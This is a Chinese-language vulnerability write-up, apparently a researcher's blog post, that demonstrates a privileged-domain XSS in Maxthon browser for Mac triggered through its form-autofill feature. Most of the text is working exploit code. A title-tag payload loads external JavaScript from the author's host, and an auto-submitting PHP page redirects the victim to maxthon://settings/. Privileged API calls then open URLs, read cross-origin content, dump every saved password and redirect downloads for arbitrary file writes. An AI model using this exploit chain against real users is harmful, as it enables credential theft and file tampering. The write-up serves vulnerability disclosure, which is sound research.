Mac下的傲游(Maxthon)其实是一个safari内核的浏览器,不过似乎阉割了太多功能,留下来的功能不多。
特权域XSS
首先XSS是由『智能填表』引入的。
如下POC,用户提交并点击保存为密码以后,即触发xss。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <!DOCTYPE html> <html> <head> <title><img src=1 onerror=alert(1);></title> </head>
<body> <h2>Login</h2> <form method="post"> <input type="text" name="username" /> <input type="password" name="password" /> <input type="submit" value="submit" /> </form> </body> </html>
|
这个XSS在特权域maxthon://settings/下,所以拥有很多特权,这个后面说。
构造Exploit
首先要构造一个可以引入外部js文件的Xss Payload。
经过测试发现,有如下几个问题:
1.我们使用的payload中不能包含”、’、\等字符,这些字符会被转换成url编码。所以我将外部js地址放在html属性name中,然后用this.name来获取.
2.经测试不能直接插入script标签。所以我在自带的js文件中找到一个$.ajax方法,此方法可以加载jsonp,正好用来载入外部js
最后构造payload如下:
1
| <img src=1 name=http://mhz.pw/game/maxthon/maxthon.js onerror=$.ajax({dataType:/jsonp/.source,url:this.name})>
|
另外,这个XSS需要在设置页面下触发,所以需要自动化提转到设置页面。
可以用如下代码跳转到maxthon://域下:
1 2 3 4 5
| try { location.href="maxthon://settings/"; } catch(e) { alert(e); }
|
跳转过去以后即可触发XSS。
所以最终完整Exploit见 http://mhz.pw/game/maxthon/log.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <!DOCTYPE html> <html> <head> <title><img src=1 name=http://mhz.pw/game/maxthon/maxthon.js onerror=$.ajax({dataType:/jsonp/.source,url:this.name})></title> <?php $a = ($_SERVER["REQUEST_METHOD"] == "POST"); if($a): ?> <script type="text/javascript"> try { setTimeout(function(){ location.href="maxthon://settings/"; }, 3000); } catch(e) { alert(e); } </script> <?php endif; ?> </head> <body <?php if(!$a) { ?>onload="f.submit()"<?php } ?>> <h2>Login</h2> <form id="f" method="post"> <input type="text" name="username" value="aaaaaa" /> <input type="password" name="password" value="admin" /> <input type="submit" value="submit" /> </form> </body> </html>
|
表单自动提交。用户点击『保存』以后,过一会就会跳转到maxthon://setting/并触发特权域XSS。总过程用户只用点击一次。
特权域API
有了特权域的XSS,就可以特权域特权域API来做一些事了。http://mhz.pw/game/maxthon/maxthon.js
中写入如下代码即可。
后台打开URL:
1 2 3
| maxthon.send('OpenURL', ['http://**.**.**.**/', false]);
maxthon.send('LoadURL', ['http://**.**.**.**/', false]);
|
跨域读取信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| function parseData(url, data) { var ret = ''; if (typeof data === 'object') { for(var key in data) { ret += '&' + key + '=' + encodeURIComponent(data[key]); } ret = ret.substr(1); } else if (typeof data === 'string') { ret = data; } return url + (url.indexOf('?') === -1 ? '?': '&') + ret; }
function sendGet(arg) { var url = arg.url, data = arg.data, success = arg.success, error = arg.error; var timer, mark = true, xht = new XMLHttpRequest(); url = parseData(url, data); timer = setTimeout(function () { mark = false; error && error(data); }, 15000);
xht.onreadystatechange = function (){ clearTimeout(timer); mark && xht.readyState == 4 && xht.status == 200 && success(xht.responseText); }
xht.open('GET', url, true); xht.send(null); }
sendGet({ dataType: '123', url: "http://**.**.**.**/", success: function(content) { alert(content); } });
|
获取所有保存的密码
1 2 3 4 5 6 7 8
| var module = register('magic-fill'); var info = ""; module.send('MFGetAllInfo', function(data){ for(var i in data) { info += ('url: ' + data[i].signon + ' username: ' + data[i].username + ' password: ' + data[i].password + '\n'); } alert(info); });
|
获取/设置下载目录 + 任意文件写入
1 2 3 4 5 6 7 8 9 10 11 12 13
| var module = register('basis'); function download_path(downloadPath) { alert(downloadPath) } module.send('get', 'download_path', download_path);
var module = register('basis'); module.send('set', 'download_path', '/Users/phithon/Downloads');
maxthon.send('OpenURL', ['http://mhz.pw/game/maxthon/top3000.zip', false]);
|